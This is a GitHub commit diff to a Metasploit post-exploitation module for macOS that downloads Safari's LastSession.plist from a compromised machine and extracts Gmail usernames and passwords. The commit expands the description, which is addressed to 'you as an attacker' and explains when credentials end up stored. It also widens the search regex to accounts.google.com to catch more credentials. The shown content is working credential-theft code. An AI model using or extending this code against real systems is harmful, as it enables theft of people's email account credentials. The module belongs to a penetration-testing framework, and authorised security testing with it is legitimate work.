Skip to content

Commit a26e12b

Browse files
committed
Updates descriiption and improves regex for safari_lastsession.rb
This updates two things for the safari_lastsession post module: 1. The description is updated: More information is added to describe how Safari would end up storing the Gmail credential in the last session state, and what it means to you as an attacker. 2. Regex update for the domain to search for: Before the module starts extract the session data, it needs to know which domain to extract from. Originally I only added mail.google.com, but turns out the sensitive info can be found in accounts.google.com, so I added that one.
1 parent 95c4092 commit a26e12b

File tree

1 file changed

+13
-9
lines changed

1 file changed

+13
-9
lines changed

modules/post/osx/gather/safari_lastsession.rb

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,15 @@ def initialize(info={})
1414
super( update_info( info,
1515
'Name' => 'OSX Gather Safari LastSession.plist',
1616
'Description' => %q{
17-
This module downloads the LastSession.plist file from the target machine.
18-
LastSession.plist is used by Safari to track active websites in the current
19-
session, and sometimes contains sensitive information such as usernames and
20-
passwords. This module will first download the original LastSession.plist,
21-
and then attempt to find the credential for Gmail.
17+
This module downloads the LastSession.plist file from the target machine.
18+
LastSession.plist is used by Safari to track active websites in the current session,
19+
and sometimes contains sensitive information such as usernames and passwords.
20+
21+
This module will first download the original LastSession.plist, and then attempt
22+
to find the credential for Gmail. The Gmail's last session state may contain the
23+
user's credential if his/her first login attempt failed (likely due to a typo),
24+
and then the page got refreshed or another login attempt was made. This also means
25+
the stolen credential might contains typos.
2226
},
2327
'License' => MSF_LICENSE,
2428
'Author' => [ 'sinn3r'],
@@ -111,16 +115,16 @@ def get_sessions(lastsession)
111115
#
112116
# Returns the <dict> session element
113117
# @param xml [REXML::Element] The array element for the session data
114-
# @param domain [String] The domain to search for
118+
# @param domain [Regexp] The domain to search for
115119
# @return [REXML::Element] The <dict> element for the session data
116120
#
117-
def get_session_element(xml, domain)
121+
def get_session_element(xml, domain_regx)
118122
dict = nil
119123

120124
found = false
121125
xml.each_element do |e|
122126
e.elements['array/dict'].each_element do |e2|
123-
if e2.text =~ /#{domain}/
127+
if e2.text =~ domain_regx
124128
dict = e
125129
found = true
126130
break
@@ -141,7 +145,7 @@ def get_session_element(xml, domain)
141145
#
142146
def find_gmail_cred(xml)
143147
vprint_status("#{peer} - Looking for username/password for Gmail.")
144-
gmail_dict = get_session_element(xml, 'mail.google.com')
148+
gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
145149
return '' if gmail_dict.nil?
146150

147151
raw_data = gmail_dict.elements['array/dict/data'].text

0 commit comments

Comments
 (0)